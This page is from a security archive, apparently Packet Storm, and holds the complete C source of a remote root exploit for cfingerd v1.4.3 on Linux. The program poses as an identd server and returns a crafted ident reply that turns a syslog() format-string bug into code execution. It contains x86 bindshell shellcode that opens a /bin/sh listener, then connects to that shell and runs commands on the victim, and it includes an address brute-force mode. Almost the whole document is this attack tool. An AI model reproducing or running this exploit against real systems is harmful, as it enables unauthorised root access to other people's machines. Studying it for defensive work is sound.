exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cfingerd.c

cfingerd.c
Posted Jul 18, 2001
Authored by DiGiT | Site security.is

Cfingerd v1.4.3 remote root exploit for Linux. Binds to port 113 and sends bogus ident information.

tags | exploit, remote, root
systems | linux
SHA-256 | badd5107b708ecea2476eda90f2a5fe6efe2f9988539733c58710c082a2510d6

cfingerd.c

Change Mirror Download
/*
12345678901234567890123456789012345678901234567890123456789012345678901234567890
0 1 2 3 4 5 6 7 8
* Linux(x86) remote exploit for cfingerd, by
*
* - . . -
* - - -
* - - - - - - -- - - - - - -
* - - - - - -- - - - - - -
* - ---- - - - - - -- -- - -
* - - - - - - - - - - -
* - - - --- - - -- - . - -
*
* Vulnerability discovered by DiGiT.
* Exploited co-operatively by security.is members.
*
* PRIVATE#$%!&*@ DO NOT DISTRIBUTE!!!
*
* The ideology behind this:
* <:::><align><addresses><padding><eip generator><nops><shellcode>\r\n
*
* Think of our approach as four buffer simultaneously.
*
* 1) The response buffer to cfingerd's ident request, it is
* padded with only the necessary bytes that normally are
* "USERID : UNIX : ...". Its length is limited to 256
* bytes.
* 2) The global heap buffer in cfingerd that contains the
* user ID. It length can at maximum be
* 256-strlen("USERID : UNIX...\r\n"), 251 in our case.
* 3) The cannot-recall-its-name buffer that contains:
* "root was fingered from <200 bytes of our evil buffer>"
* syslog() is then incorrectly called with this buffer as
* a format string.
* 4) The internal processing buffer of syslog() (vfprintf).
* There, our malign format string overwrites a saved %eip
* register, and changes it to an address in the middle of
* the nops in buffer #2.
*
* That is all there is to it, now HAVE FUN! :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define ADDRESS_BUFFER_SIZE 78
#define APPEND_BUFFER_SIZE 40
#define REMOTE_BUFFER_SIZE 200


typedef struct
{
char *description;
unsigned char *code;
int type;
} shellcodes_t;


typedef struct
{
char *name;
unsigned long egg_address;
unsigned long eip_address;
int alignment;
int padding;
} platforms_t;


struct identd_t
{
unsigned int port;
int sock;
} identd;


struct bruteforce_t
{
int enabled;
int step;
unsigned long start;
unsigned long stop;
} brute_force;


struct target_t
{
char evil_buffer[512];
char *name;
char *request_user;
struct in_addr in;
int sock;
int bindshell_sock;
unsigned int port;
unsigned int platform_number;
unsigned int shellcode_number;
platforms_t *platform;
shellcodes_t *shellcode;
unsigned long *eip_address;
} target;


shellcodes_t shellcodes[] =
{
{
"Linux(x86) JMP -1 (infinite loop), for testing purposes",
"\xeb\xfe",
-1
}, {
"Linux(x86) bindshell on port 3879",
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
3879
}, {
NULL, NULL, 0
}
};


platforms_t platforms[] =
{
{
"Kleenux v6.66",
0x0804dead, /* the exact beginning of the global ident buffer */
0xbfffc0de,
3, 40 /* dividable with 4 */
}, {
NULL, 0L, 0L, 0, 0
}
};


static char ident_buffer[] = ":::"; /* XXX: More required? */
static char prepend_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char pad_buffer[128];
static char shellcode_buffer[256];


void clean_exit(void)
{
if (identd.sock > 0)
close (identd.sock);
if (target.sock > 0)
close (target.sock);
if (target.bindshell_sock > 0)
close (target.bindshell_sock);

exit (0);
}


void signal_handler(int number)
{
printf (" [x] Received signal %d, shutting down...\n", number);

clean_exit();
}


void resolve_hostname(void)
{
struct hostent *he;

if ( (inet_aton (target.name, &target.in)) == 0)
{
if ( (he = gethostbyname (target.name)) == NULL)
{
printf (" [-] Unable to resolve %s.\n", target.name);
exit (-1);
}
memcpy (&(target.in), he->h_addr, he->h_length);
printf (" [+] Resolved %s to %s.\n",
target.name, inet_ntoa(target.in));
}

return;
}


/* XXX: FIX THIS! */
void bind_identd(void)
{
struct sockaddr_in sin;
int opt = 0; /* XXX */
struct { int a,b; } ling = { 1, 2 }; /* XXXXXXX... */

sin.sin_family = PF_INET;
sin.sin_port = htons (identd.port);
sin.sin_addr.s_addr = INADDR_ANY;
memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

if ( (identd.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
printf (" [-] No socket available for assignment.\n");
exit (-1);
}

if ( (setsockopt(identd.sock, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(opt))) )
{
close (identd.sock);
printf (" [-] Unable to set reusage of the identd socket.\n");
exit (-1);
}

if ( (setsockopt(identd.sock, SOL_SOCKET, SO_LINGER, (void *)&ling, sizeof(ling))) )
{
close (identd.sock);
printf (" [-] Unable to enable SO_LINGER.\n");
exit (-1);
}

if ( (bind (identd.sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
{
close (identd.sock);
printf (" [-] It seems that port %d is already bound.\n"
" Shame on you.\n", identd.port);
exit (-1);
}

if ( (listen (identd.sock, 100)) < 0)
{
close (identd.sock);
printf (" [-] Failed to listen() to port %d.\n", identd.port);
exit (-1);
}

printf (" [+] Successfully bound to port %d and awaiting connections.\n",
identd.port);

return;
}


void connect_to_cfingerd(void)
{
struct sockaddr_in sin;

if ( (target.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
printf (" [-] No socket available for finger.\n");
clean_exit();
}

sin.sin_family = PF_INET;
sin.sin_port = htons (target.port);
sin.sin_addr.s_addr = target.in.s_addr;
memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

if ( (connect (target.sock, (struct sockaddr *)&sin, sizeof (sin))) < 0)
{
printf (" [-] Unable to connect to %s:%d.\n", target.name, target.port);
clean_exit();
}

return;
}


void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};

memset (prepend_buffer, '\0', sizeof(prepend_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));

for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;

if ( (i > 0) && (num[i-1] == num[i]) )
strcat (append_buffer, "%n");
else if (copied < num[i])
{
if ( (num[i] - copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), "%.*s",
(int)(num[i] - copied), "security.is!");
copied += (num[i] - copied);
strcat (append_buffer, "%n");
} else {
sprintf (append_buffer+strlen(append_buffer), "%%.%du",
num[i] - copied);
copied += (num[i] - copied);
strcat (append_buffer, "%n");
strcat (prepend_buffer, "AAAA"); /* a dummy */
}
} else {
tmp = ((num[i] + 0xff) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0xff) - copied);
strcat (append_buffer, "%n");
strcat (prepend_buffer, "AAAA"); /* another dummy */
}
sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}

while (strlen (prepend_buffer) < ADDRESS_BUFFER_SIZE)
strcat (prepend_buffer, "X");

while (strlen (append_buffer) < APPEND_BUFFER_SIZE)
strcat (append_buffer, "\x90");

#ifdef DEBUG
printf ("\nGeneration complete:\nPrepend: ");
for (i = 0; i < strlen (prepend_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)prepend_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
#endif

return;
}


void construct_buffer(void)
{
int written_bytes = ADDRESS_BUFFER_SIZE;
int nop_count = 0;
unsigned long ret = 0L;

memset (pad_buffer, '\0', sizeof(pad_buffer));
memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));

/* STEP 1: Create the appropriate padding buffer. */
/* XXX: Is 8-byte padding a necessity? */

written_bytes += 19; /* XXX: strlen("root fingered from ..") */
/* XXX: written_bytes += 47; ? (internal syslog() things) */

while (target.platform->padding > 4)
{
strcat (pad_buffer, "%c");
target.platform->padding -= 4;
written_bytes++;
}

/* STEP 2: Form the address and shellcode buffers. */

// nop_count = strlen (ident_buffer); // necessary?
nop_count = ADDRESS_BUFFER_SIZE;
nop_count += strlen (pad_buffer);
nop_count += APPEND_BUFFER_SIZE;
nop_count += strlen (target.shellcode->code);
nop_count = REMOTE_BUFFER_SIZE - nop_count;

ret = target.platform->egg_address;
ret += ADDRESS_BUFFER_SIZE;
ret += strlen (pad_buffer);
ret += APPEND_BUFFER_SIZE;
ret += (int)(nop_count / 2);

(void)calculate_rets (target.platform->eip_address, ret, written_bytes);

/* STEP 3: Assemble our evil buffer. */

memset (shellcode_buffer, '\x90', nop_count);
strcat (shellcode_buffer, target.shellcode->code);

sprintf (target.evil_buffer, "%s%.*s%s%s%s%s\r\n",
ident_buffer, target.platform->alignment, "BLAH",
prepend_buffer, pad_buffer, append_buffer, shellcode_buffer);

if (strlen (target.evil_buffer) > REMOTE_BUFFER_SIZE)
{
printf (" [-] Our evil buffer has exceeded its limit (%d vs. %d)\n",
strlen (target.evil_buffer), REMOTE_BUFFER_SIZE);
return; /* unwise? */
}

return;
}

void serve_ident_request(void)
{
char buf[512+1];
struct timeval tv;
struct in_addr client_in; /* XXX */
fd_set fds;
int sock = -1;
int i = 0;

while (1)
{
i = 0;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO (&fds);
FD_SET (identd.sock, &fds);

i = select (identd.sock + 1, &fds, NULL, NULL, &tv);

if (i <= 0)
{
printf (" [-] Oops, no connection was made to our identd.\n");
return;
}

/* XXX: sock = accept() ... */
if (!memcmp (&target.in, &client_in, sizeof(client_in)))
break;

printf (" [-] Ignored an identd connection from %s!\n",
inet_ntoa(client_in));
/* XXX */
close (sock);
}

i = 0;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO (&fds);
FD_SET (sock, &fds);

i = select (sock + 1, &fds, NULL, NULL, &tv);

if (i <= 0)
{
printf (" [-] No data was available from the identd connection.\n");
return;
}

if ( (read (sock, buf, sizeof(buf)-1)) <= 0)
{
printf (" [-] read() failed from the new connection.\n");
return;
}

/* XXX: Assert that inetd is used, and output a fake reply? */

write (sock, target.evil_buffer, strlen(target.evil_buffer));

return;
}


/* XXX: Fix things, add signal() for SIGINT ? */
void run_bindshell(int sock, int port)
{
char buf[512+1];
struct sockaddr_in sin;
struct timeval tv;
fd_set fds;
int i = 0;

if (sock == 0)
{
if ( (target.bindshell_sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
return;

sin.sin_family = PF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = target.in.s_addr;
memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

if ( (connect (target.bindshell_sock, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0)
{
target.bindshell_sock = -1;
close (target.bindshell_sock);
return;
}

printf (" [+] Connection to %s:%d SUCCEEDED, bindshell initiated.\n",
target.name, port);
} else
target.bindshell_sock = sock;

write (target.bindshell_sock, "uname -a;id;\n", 13);

while (1)
{
tv.tv_sec = 1;
tv.tv_usec = 0;
FD_ZERO (&fds);
FD_SET (fileno (stdin), &fds);
FD_SET (target.bindshell_sock, &fds);

i = select ((target.bindshell_sock + 1), &fds, NULL, NULL, &tv);

if (i == 0)
continue;

if (i < 0)
{
close (target.bindshell_sock);
target.bindshell_sock = -1;
printf (" [-] Bindshell terminated.\n");
return;
}

memset (buf, '\0', sizeof(buf));

if (FD_ISSET (fileno (stdin), &fds))
{
if ( (read (fileno (stdin), buf, sizeof(buf)-1)) > 0)
{
if ( (write (target.bindshell_sock, buf, strlen(buf))) != strlen(buf))
{
close (target.bindshell_sock);
target.bindshell_sock = -1;
printf (" [-] Bindshell terminated, unable to write.\n");
return;
}
}
}

memset (buf, '\0', sizeof(buf));

if (FD_ISSET (target.bindshell_sock, &fds))
{
if ( (read (target.bindshell_sock, buf, sizeof(buf)-1)) <= 0)
{
close (target.bindshell_sock);
target.bindshell_sock = -1;
printf (" [-] Bindshell terminated, unable to read.\n");
return;
}
printf ("%s", buf);
}
}

return;
}


void initialize(void)
{
identd.port = 113;
identd.sock = -1;
brute_force.enabled = 0;
brute_force.start = 0L;
brute_force.stop = 0L;
brute_force.step = 0;
target.name = NULL;
target.port = 79;
target.platform_number = -1;
target.shellcode_number = -1;
target.sock = -1;
target.bindshell_sock = -1;
target.eip_address = NULL;
target.platform = NULL;
target.shellcode = (shellcodes_t *)&shellcodes[1];
target.request_user = "root";
memset (&(target.evil_buffer), '\0', sizeof(target.evil_buffer));
memset (&(target.in), '\0', sizeof(target.in));

return;
}


void usage(char *program_name)
{
platforms_t *pt = &platforms[0];
shellcodes_t *st = &shellcodes[0];
int i = 0;

printf ("Usage: %s <-t target> <-p platform> [other arguments]\n", program_name);
printf (" -s: Specify an alternative shellcode.\n");
printf (" -I: A port for identd instead of 113.\n");
printf (" -F: Remote port for cfingerd instead of 79.\n");
printf (" -b: Use the Brute Force, Luke!\n");
printf (" -u: A user to finger on the remote host instead of root.\n");

printf ("\nSupported platforms:\n");
while (platforms[i].name != NULL)
{
pt = &platforms[i];
printf (" %d: %s\n", i++, pt->name);
}

i = 0;
printf ("\nAvailable shellcodes:\n");
while (shellcodes[i].description != NULL)
{
st = &shellcodes[i];
printf (" %d: %s (%d bytes)\n",
i++, st->description, strlen(st->code));
}

exit (0);
}


int main(int argc, char **argv)
{
platforms_t *pt = &platforms[0];
shellcodes_t *st = &shellcodes[0];
int i, c;

printf ("cfingerd remote exploit, brought to you by security.is\n");
printf ("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");

if (getuid())
{
printf (" Because the exploit utilizes port 113 (identd),\n");
printf (" it must be run with superuser privileges.\n");
exit (0);
}

(void)initialize();

while ( (c = getopt(argc, argv, "s:p:I:t:F:u:bh?")) != EOF)
{
switch (c)
{
case 'b':
brute_force.enabled = 1;
break;

case 'p':
target.platform_number = atoi(optarg);
break;

case 's':
target.shellcode_number = atoi(optarg);
break;

case 'I':
identd.port = atoi(optarg);
break;

case 'F':
target.port = atoi(optarg);
break;

case 't':
target.name = (char *)strdup(optarg);
break;

case 'u':
target.request_user = (char *)strdup(optarg);
break;

default:
printf (" [-] Unrecognized option: -%c.\n", c);
/* fall through */
case 'h':
case '?':
usage (argv[0]);
/* not reached */
}
}

if (target.name == NULL)
{
printf (" [-] No victim was specified.\n");
usage (argv[0]);
}

if (target.platform_number < 0)
{
printf (" [-] Missing argument for remote platform.\n");
usage (argv[0]);
}

for (i = 0; i < target.platform_number; i++)
{
pt = &platforms[i];

if (pt->name == NULL)
{
printf (" [-] Abnormal platform number.\n");
exit (-1);
}
}

printf (" [+] Platform: %s.\n", pt->name);
target.platform = pt;
target.eip_address = (unsigned long *)&(target.platform->eip_address);

if (target.shellcode_number >= 0)
{
for (i = 0; i < target.shellcode_number; i++)
{
st = &shellcodes[i];

if (st->description == NULL)
{
printf (" [-] Abnormal shellcode number.\n");
exit (-1);
}
}
target.shellcode = st;
}

printf (" [+] Shellcode: %s.\n", target.shellcode->description);

if (identd.port != 113)
printf (" [+] Identd port set to %d.\n", identd.port);

(void)resolve_hostname();

if (brute_force.enabled == 1)
{
printf (" [:] Enter \"start stop step\" for brute force.\n");
printf (" (e.g. 0xbfff1214 0xbfff12a0 4)\n");

while ( (fscanf (stdin, "%lx %lx %u", &(brute_force.start),
&(brute_force.stop), &(brute_force.step))) != 3)
printf (" [-] The arguments were incorrectly specified.\n");

if ( (((unsigned long)(brute_force.start) >> 16) != 0xbfff) ||
(((unsigned long)(brute_force.stop) >> 16) != 0xbfff) )
printf (" [!] Warning! On Linuces, the %%eip register is saved "
"on the stack, 0xbfff....!\n");

if (brute_force.step % 4)
printf (" [!] Warning! It is highly recommended having the step "
"dividable with 4.\n");

target.platform->eip_address = brute_force.start;
}

signal (SIGHUP, signal_handler);
signal (SIGINT, signal_handler);
signal (SIGTERM, signal_handler);
signal (SIGQUIT, signal_handler);

(void)bind_identd();

while (1)
{
printf (" [+] Using %%eip address: %#lx.\n", *target.eip_address);

for (c = 0, i = 0; i < 4; i++)
{
if ((((u_long)(*target.eip_address + i) & 0xff) == 0x00) ||
((((u_long)(*target.eip_address + i) >> 8) & 0xff) == 0x00) ||
((((u_long)(*target.eip_address + i) >> 16) & 0xff) == 0x00) ||
((((u_long)(*target.eip_address + i) >> 24) & 0xff) == 0x00) )
c++;
}
if (c)
printf (" [!] Warning! The buffer will include NULL bytes. (%d/4)\n", c);

(void)construct_buffer();

(void)connect_to_cfingerd();

(void)serve_ident_request(); /* inetd */

write (target.sock, target.request_user, strlen (target.request_user));
write (target.sock, "\n", 1);

(void)serve_ident_request(); /* cfingerd */

switch (target.shellcode->type)
{
case -1:
close (target.sock);
target.sock = -1;
break;

case 0: /* dup2 bindshell */
run_bindshell (target.sock, 0);
break;

default: /* bindshell on another port */
close (target.sock);
target.sock = -1;
run_bindshell (0, target.shellcode->type);
break;
}

if (brute_force.enabled == 1)
{
*target.eip_address += brute_force.step;
if (*target.eip_address >= brute_force.stop)
break;
} else
break;
}

printf (" [-] The exploit has been discontinued.\n");

clean_exit();

return (0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close